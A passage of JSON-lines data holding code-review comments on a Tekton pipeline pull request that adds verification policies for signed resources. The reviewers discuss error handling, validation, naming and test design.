"pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "please add more context onto the error (also a general piece of feedback whenever an error is being returned)", "comment_id": 1041430990, "created_at": "2022-12-06T20:34:32Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "it seems like this function is being called twice in each reconcile, why is that? is there any way to avoid it?", "comment_id": 1041431658, "created_at": "2022-12-06T20:35:27Z", "line": 321, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! Thanks for the suggestion!", "comment_id": 1041435947, "created_at": "2022-12-06T20:39:26Z", "line": 69, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes we do have a test case to test invalid pattern. ", "comment_id": 1041438315, "created_at": "2022-12-06T20:41:52Z", "line": 45, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "this is the invalid pattern case @bobcatfish ", "comment_id": 1041438997, "created_at": "2022-12-06T20:42:42Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It's because the err will be added at line 40, wonder if this is ok?\r\n```\r\n\tfor _, r := range vs.Resources {\r\n\t\terrs = errs.Also(r.Validate(ctx))\r\n\t}\r\n```", "comment_id": 1041484455, "created_at": "2022-12-06T21:37:21Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks @bendory ! I will try to adopt this method and see if it can work ", "comment_id": 1041484834, "created_at": "2022-12-06T21:37:51Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It's called twice because we need to fetch the policy for pipeline and the task in pipelinerun reconciler. It is possible to pass but it will require function signature change to `reconcile.` I wonder if it is necessary to do so.", "comment_id": 1041486576, "created_at": "2022-12-06T21:40:17Z", "line": 321, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Another solution is to pass the lister to getVerificationPolicies instead of pass the pulled policies? \ud83e\udd14\r\nBut I don't see anywhere in the code where we pass a lister as a param to functions ", "comment_id": 1041487597, "created_at": "2022-12-06T21:41:29Z", "line": 321, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "No, it is called in reconciler code.\r\nYes that makes sense! ", "comment_id": 1041503660, "created_at": "2022-12-06T21:59:41Z", "line": 73, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have added the validation into webhook", "comment_id": 1041691826, "created_at": "2022-12-07T02:36:22Z", "line": 73, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have changed this to use errs.Also to keep consistency ", "comment_id": 1041747979, "created_at": "2022-12-07T04:37:16Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "btw the configmap is not removed in this PR, should we also mention it in release note?", "comment_id": 1041749016, "created_at": "2022-12-07T04:39:19Z", "line": 69, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Suggest:\r\n\r\nTekton CLI (v0.28.0 and later) support `sign` and `verify` subcommands.", "comment_id": 1047067178, "created_at": "2022-12-13T12:00:37Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Case nit: `GitHub`", "comment_id": 1047069271, "created_at": "2022-12-13T12:02:56Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "I read this comment and don't know what a `VerificationPolicySpec` should look like. I suggest putting a concrete example in the comment and explaining what that example means.", "comment_id": 1047070553, "created_at": "2022-12-13T12:04:15Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Grammar nit: `Example` (singular)", "comment_id": 1047070973, "created_at": "2022-12-13T12:04:42Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Case nit: `GitHub`", "comment_id": 1047071095, "created_at": "2022-12-13T12:04:52Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Grammar nit: `should be a valid regex`\r\n\r\n(IMO: \"regex expression\" is redundant, since \"regex\" stands for \"regular expression\" -- but reasonable people may disagree with me.)", "comment_id": 1047072532, "created_at": "2022-12-13T12:06:28Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Rather than the `currently supports...` comment, I suggest defining\r\n\r\n```\r\ntype HashAlgorithm string\r\n\r\nconst (\r\n SHA224 HashAlgorithm = `sha224`\r\n ...\r\n)\r\n```\r\n\r\nand then this field becomes a `HashAlgorithm` type rather than a `string` type.", "comment_id": 1047088922, "created_at": "2022-12-13T12:24:20Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "This would change to the list of `HashAlgorithm` variables defined in verificationpolicy_types.go.", "comment_id": 1047092457, "created_at": "2022-12-13T12:28:00Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Instead of listing the valid values in multiple places, just refer to the list of constants. (We're never going to keep the code in sync with the doc when more types are added!)", "comment_id": 1047096441, "created_at": "2022-12-13T12:32:09Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "For readabilty, you can add the empty string to the list of valid types and get rid of this `if` statement. Add a comment to the empty string entry explaining why it is there.", "comment_id": 1047097142, "created_at": "2022-12-13T12:32:50Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Go style is:\r\n\r\n```\r\nif _, err := regexp.Compile(...); err != nil {\r\n ...\r\n}\r\n```", "comment_id": 1047098316, "created_at": "2022-12-13T12:33:52Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Is there a reason to make `supportedSignatureAlgorithms` a slice? If you make it a `map[HashAlgorithm]bool` then this can be a simple map lookup rather than iterating through a slice.", "comment_id": 1047100518, "created_at": "2022-12-13T12:36:09Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "perhaps name the case \"invalid pattern\" to make that clear", "comment_id": 1047101210, "created_at": "2022-12-13T12:36:46Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "This test is fragile: if the error message changes in the code, you have to change the test case.\r\n\r\nInstead, define an error type `InvalidResourcePatternerr` (naming?) and check that you got the expected type using `errors.Is`: https://go.dev/blog/go1.13-errors", "comment_id": 1047105007, "created_at": "2022-12-13T12:40:00Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "name the case by what it is testing (what is missing), not by what it has -- this helps me understand what's expected", "comment_id": 1047106127, "created_at": "2022-12-13T12:41:12Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks!", "comment_id": 1047838211, "created_at": "2022-12-13T23:04:11Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "\ud83d\udc4d ", "comment_id": 1047838954, "created_at": "2022-12-13T23:05:36Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "\ud83d\udc4d ", "comment_id": 1047839557, "created_at": "2022-12-13T23:06:40Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh thanks! This suggestion is amazing! \ud83d\ude02 ", "comment_id": 1047845316, "created_at": "2022-12-13T23:16:32Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, in current code base it is a pattern to iterate through a slice\r\nhttps://github.com/tektoncd/pipeline/blob/963aa40829045a349c8f78d4fa3dd10ffca46282/pkg/apis/pipeline/v1beta1/param_types.go#L125", "comment_id": 1047848911, "created_at": "2022-12-13T23:21:27Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I changed it to invalid ResourcePattern to match the type name", "comment_id": 1047849341, "created_at": "2022-12-13T23:22:18Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks! \"has both data and secretref\" is an invalid case, how about renaming it to \"should not have both data and secretref\" ?", "comment_id": 1047850174, "created_at": "2022-12-13T23:23:58Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! I remember this comment and have replaced the string to `InvalidRegexErr`", "comment_id": 1047851567, "created_at": "2022-12-13T23:26:46Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "The configmap e2e test is added back. @bobcatfish ", "comment_id": 1047969703, "created_at": "2022-12-14T03:13:23Z", "line": 59, "path": "test/trusted_resources_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "created these functions to check feature flag as you suggested @bobcatfish ", "comment_id": 1047969926, "created_at": "2022-12-14T03:14:04Z", "line": 341, "path": "pkg/apis/config/feature_flags.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "previous `verifyResolvedPipeline` is refactored here to meet the 2 suggestions:\r\n\r\n1. check feature flag in `GetVerifiedPipelineFunc`\r\n2. doesn't contain `verify` function in this pkg\r\n\r\nThe changes are the same in `taskref.go`", "comment_id": 1047971168, "created_at": "2022-12-14T03:16:06Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im curious about what motivation led to normalizing the algorithm name like this? i would have thought we'd just consider names that didn't exactly match invalid, im wondering what the benefit is here (and it seems like we allow extra spaces as well?)\r\n\r\nunless we have a clear reason id prefer we start out less permissive, i.e. require the exact expected strings since it's easier to relax restrictions later than go the other way", "comment_id": 1049065147, "created_at": "2022-12-14T23:18:58Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "we should check the returned error here", "comment_id": 1049067924, "created_at": "2022-12-14T23:23:57Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "it seems like we're ignoring the error here, i think instead of adding only when the error it nil, i think we should check for a non-nil error and return an error in that case?", "comment_id": 1049068328, "created_at": "2022-12-14T23:24:51Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "what happens if both the data and the secret ref are blank? are we assuming that is caught via validation already? (if so maybe include a comment to explain? but im thinking even if we think validation will catch that it would make sense to return an error here just in case it doesnt)", "comment_id": 1049068804, "created_at": "2022-12-14T23:25:55Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "similar comment below, seems like we're ignoring the error here? i.e. if there is an error i think we should stop and return an error?", "comment_id": 1049069026, "created_at": "2022-12-14T23:26:24Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "if possible please add add some context to the error", "comment_id": 1049069500, "created_at": "2022-12-14T23:27:25Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "why do some functions return wrapped errors with `errors.Wrap` and some don't? im thinking we'd want to be consistent about which ones do to make sure anyone using exported functions could depend on expecting to get a wrapped error or not", "comment_id": 1049070197, "created_at": "2022-12-14T23:28:52Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i find it a bit confusing that this is comparing the number of policies to the expected number - i guess because you pass matchedPolicies into the function that counts the number that match this should work, but i wonder if it would be clearer if you verified the matched policies one at a time? i.e. move the `for _, p := range policies {` loop into this function", "comment_id": 1049073603, "created_at": "2022-12-14T23:35:46Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "there's an error being swallowed here", "comment_id": 1049074063, "created_at": "2022-12-14T23:36:19Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "it's used for allow different cases of algorithms. e.g. sha256, Sha256, SHA256 should all be valid. It's mainly for better user experience", "comment_id": 1049076808, "created_at": "2022-12-14T23:42:08Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes you're correct that it is caught by validation webhook, I can add a error check here", "comment_id": 1049079443, "created_at": "2022-12-14T23:47:50Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "fixed", "comment_id": 1049239566, "created_at": "2022-12-15T05:51:26Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "fixed", "comment_id": 1049239633, "created_at": "2022-12-15T05:51:36Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i like all the specific errors! i wanted to check, is it intentional that only two are exported? might want to make all of them exported if you want users of the package to be able to check against them", "comment_id": 1050034259, "created_at": "2022-12-15T19:02:36Z", "line": null, "path": "pkg/trustedresources/verifier/errors.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "this function names the return values here but i think the named return vars aren't being used (i.e. the function is always explicitly returning values and not referencing these two values - which is clearer imo) so they can be removed", "comment_id": 1050036245, "created_at": "2022-12-15T19:05:06Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "hm im thinking it might be simpler to just fail in this case\r\n\r\na few factors to consider:\r\n* input validation and trust boundaries: to some extent it makes sense to assume that input has been sanitized at some known level so you don't need to keep chekcing it repeatedly; so for us we should to some extent be able to assume that validation has happened on inputs HOWEVER asometimes that isn't the case e.g. through a bug - but you need to weigh the cost of constantly checking inputs and duplicating logic against the risk; TL;DR as much as possible have one place in the code where validation is supposed to happen so you can make assumptions about the quality of data provided to other functions and not repeat the check repeatedly\r\n* BUT what if a function can't work correctly without certain data? e.g. in this case a verifier can't be constructed correctly unless the key is provided - i would treat this as an error, i.e. not duplicating input validation but simply failing b/c the function cant do it's job\r\n* As much as possible, functions should be self contained and shouldn't need to be aware of how they are called - in this case, this test case seems to be saying 'we can let this go because we know some other function later is taking care of this for us' - but what if that changes? making assumptions like this couples the two functions together and the order they are called in", "comment_id": 1050056357, "created_at": "2022-12-15T19:30:34Z", "line": null, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "is there anything we can check on the verifier object itself to ensure it is instantiated correctly?", "comment_id": 1050056617, "created_at": "2022-12-15T19:30:51Z", "line": 71, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "two things here:\r\n* i wouldn't use want/got for an error, that pattern is for comparing the structure of objects\r\n* id include more in the error messages in test failures around the context of what happened\r\n\r\ne.g. in this case the failure could be something like \"couldn't construct expected verifier from config map: %v\"", "comment_id": 1050057714, "created_at": "2022-12-15T19:32:18Z", "line": null, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "\ud83d\udc4d to the separate test case for the error and \ud83d\udc4d for being able to use `errors.Is` to check the correct error", "comment_id": 1050215577, "created_at": "2022-12-15T22:53:55Z", "line": 78, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nit: i think this function is only used in verifier_test.go, is that right? if so im tempted to suggest that it move over there instead of being here - especially because when you look at the tests in verifier_test.go and want to understand what they are doing, you have to look at the content of this function, which makes it a bit hard to read them", "comment_id": 1050216804, "created_at": "2022-12-15T22:56:08Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "i wonder if duplicateKeysVp belongs in this function or should be instead instantiated directly in the test case(s) that need it - it seems like not all tests that call this function need it (e.g. TestFromPolicy_Success only uses the first two policies returned), and it seems very specific to a particular test case", "comment_id": 1050217642, "created_at": "2022-12-15T22:57:34Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "similar to the configmap test case, is there expected verifier content we can assert against?", "comment_id": 1050218176, "created_at": "2022-12-15T22:58:37Z", "line": 135, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "same question re. can we check anything on the verifier itself - ill stop repeating that feedback but i think it would apply to other tests below as well", "comment_id": 1050219630, "created_at": "2022-12-15T23:01:25Z", "line": 259, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im wondering why in this case ErrorFailedLoadKeyFile isn't returned directly (it's wrapped), but other functions do return errors from errors.go directly?", "comment_id": 1050223937, "created_at": "2022-12-15T23:08:53Z", "line": 108, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "it seems like at least some of these are returned by exported functions (e.g. errorEmptyPublicKeys) any reason not to export all of them? (that way callers can assert against them)", "comment_id": 1050224259, "created_at": "2022-12-15T23:09:33Z", "line": null, "path": "pkg/trustedresources/verifier/errors.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "anytime you encounter an error that would make it so the test shouldn't even continue (e.g. in this case the test couldn't generate the keys it needed) you probably want to use `Fatalf` to stop the rest of the test from running (vs Errorf which allows you to accumlate errors as you go and report them all)", "comment_id": 1050225381, "created_at": "2022-12-15T23:11:37Z", "line": null, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "can you give this a name which includes a verb to indicate what it is doing? e.g. something like `getKeyPairSecret` (looking at the current name I wouldn't have guessed that it is actually making a call to the API server - and p.s. do we want to use a lister here?)", "comment_id": 1050226116, "created_at": "2022-12-15T23:13:00Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "typo", "comment_id": 1050226309, "created_at": "2022-12-15T23:13:24Z", "line": null, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "it seems like this is duplicating a similar list in verificationpolicy_types.go - is it possible to just use one object?", "comment_id": 1050228416, "created_at": "2022-12-15T23:17:26Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "similar feedback to keyPairSecret (and if possible please check other function names for this as well): it is helpful if a function actually takes an action of some kind to include a verb indicating what the action does in the function name, in this case something like 'matchHashAlgorithm' or something", "comment_id": 1050231583, "created_at": "2022-12-15T23:22:49Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "> it's used for allow different cases of algorithms. e.g. sha256, Sha256, SHA256 should all be valid. It's mainly for better user experience\r\n\r\ni'd still err on the side of being less lenient and expect a specific case but im okay if you want to go ahead with the permissive case - i dont see any reason to expect random spaces on either side however\r\n", "comment_id": 1050232438, "created_at": "2022-12-15T23:24:43Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nit: can you rename this to something like `generatePassword`? from the name I thought it was doing something around making the test pass", "comment_id": 1050232946, "created_at": "2022-12-15T23:25:47Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "why do we construct a new task object here? what if the original task has different values? im assuming this is being done to intentionally ignore some aspects of the Task when verifying the signature - this would be a good place for some comments to explain a bit more", "comment_id": 1050234030, "created_at": "2022-12-15T23:28:08Z", "line": 55, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "are there docs which explain what fields are ignored when this verification is performed? I didn't see anything in the trusted resources .md doc but we should explain those details there", "comment_id": 1050234779, "created_at": "2022-12-15T23:29:44Z", "line": 55, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "these lines might be worth a comment - i assume the idea is that as soon as one of the verifiers match, no more of them need to be checked?", "comment_id": 1050235325, "created_at": "2022-12-15T23:30:54Z", "line": 93, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "should this be operating on policies or on matchedpolicies?", "comment_id": 1050235721, "created_at": "2022-12-15T23:31:37Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, only 2 are exported to be used in verify_test.go. I will export all of them! Thanks! ", "comment_id": 1050243125, "created_at": "2022-12-15T23:48:17Z", "line": null, "path": "pkg/trustedresources/verifier/errors.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thanks! I missed to check these. This may be legacy code", "comment_id": 1050243574, "created_at": "2022-12-15T23:49:18Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ok, I will fix them", "comment_id": 1050245207, "created_at": "2022-12-15T23:52:58Z", "line": null, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "it is also used in verify_test.go. they are 2 different pkgs now so it should be in a place can be used in these 2. pkgs?", "comment_id": 1050245623, "created_at": "2022-12-15T23:53:55Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "My intention is to not swallow the `err` from `os.ReadFile`. So I wrap an error here that can be checked later and the `err` from os.ReadFile. If we return it directly then we will lost the err information.\r\nIf this sounds good I will check other places to make sure they are consistent ", "comment_id": 1050248642, "created_at": "2022-12-15T23:59:56Z", "line": 108, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks for the suggestion! `lister` is better but we will need to pass it from reconciler. How about adding a todo here? There may be better ways. I can create an issue to list possible solutions", "comment_id": 1050250453, "created_at": "2022-12-16T00:04:11Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure, I will remove the trimspace", "comment_id": 1050253618, "created_at": "2022-12-16T00:11:54Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! :D", "comment_id": 1050253905, "created_at": "2022-12-16T00:12:36Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "No users side data/values are ignored. But annotations added by k8s are ignored. I didn't add it into the doc b/c these annotations are not set by users. But I think it makes sense to add them.", "comment_id": 1050255705, "created_at": "2022-12-16T00:16:50Z", "line": 55, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "> why do we construct a new task object here? what if the original task has different values? im assuming this is being done to intentionally ignore some aspects of the Task when verifying the signature - this would be a good place for some comments to explain a bit more\r\n\r\nremote resolution returns a task object, so we need to construct a `v1beta1.Task` here to objectmeta and spec from the task object. I may be wrong. We can discuss further ", "comment_id": 1050256399, "created_at": "2022-12-16T00:18:37Z", "line": 55, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, I will add a comment here", "comment_id": 1050256589, "created_at": "2022-12-16T00:19:10Z", "line": 93, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh thanks! This is a bug when I formatted the code. And I also missed a tests case here. Will add it!", "comment_id": 1050258991, "created_at": "2022-12-16T00:25:06Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "we can compare the public key from the original key and the public key from the verifier and see if they are equal. I have added this check ", "comment_id": 1050320556, "created_at": "2022-12-16T02:44:40Z", "line": 71, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "done", "comment_id": 1050320909, "created_at": "2022-12-16T02:45:37Z", "line": 135, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "done", "comment_id": 1050320954, "created_at": "2022-12-16T02:45:44Z", "line": 259, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I added one policy with different key and pattern to test this ", "comment_id": 1050325519, "created_at": "2022-12-16T02:57:39Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I see, this is a good point!! I will return one error here check the err.", "comment_id": 1050326591, "created_at": "2022-12-16T03:00:23Z", "line": null, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "fixed", "comment_id": 1050333184, "created_at": "2022-12-16T03:13:58Z", "line": null, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "duplicateKeysVp is not very helpful in current implementation, since we don't count the number of passed policies. I will remove it", "comment_id": 1050334018, "created_at": "2022-12-16T03:16:30Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "done", "comment_id": 1050867981, "created_at": "2022-12-16T15:19:16Z", "line": null, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added the check", "comment_id": 1050868549, "created_at": "2022-12-16T15:19:48Z", "line": 71, "path": "pkg/trustedresources/verifier/verifier_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "Worked through this with @Yongxuanzhang - I didn't realize that the %w syntax would wrap ErrorFailedLoadKeyFile such that the resulting error is an instance of ErrorFailedLoadKeyFile (example https://go.dev/play/p/BYiUNsGVwbA) - makes sense to me @Yongxuanzhang", "comment_id": 1051077115, "created_at": "2022-12-16T19:14:02Z", "line": 108, "path": "pkg/trustedresources/verifier/verifier.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "since you are already passing the k8s client all the way through, i think it shouldnt be too much worse to pass the lister through - specfically a Get function from the lister, which would actually be easier to mock in your unit tests (you just need to make a function with the same signature)\r\n\r\n@Yongxuanzhang pointed out difficulty around using the namespace to get the correct lister function, i think 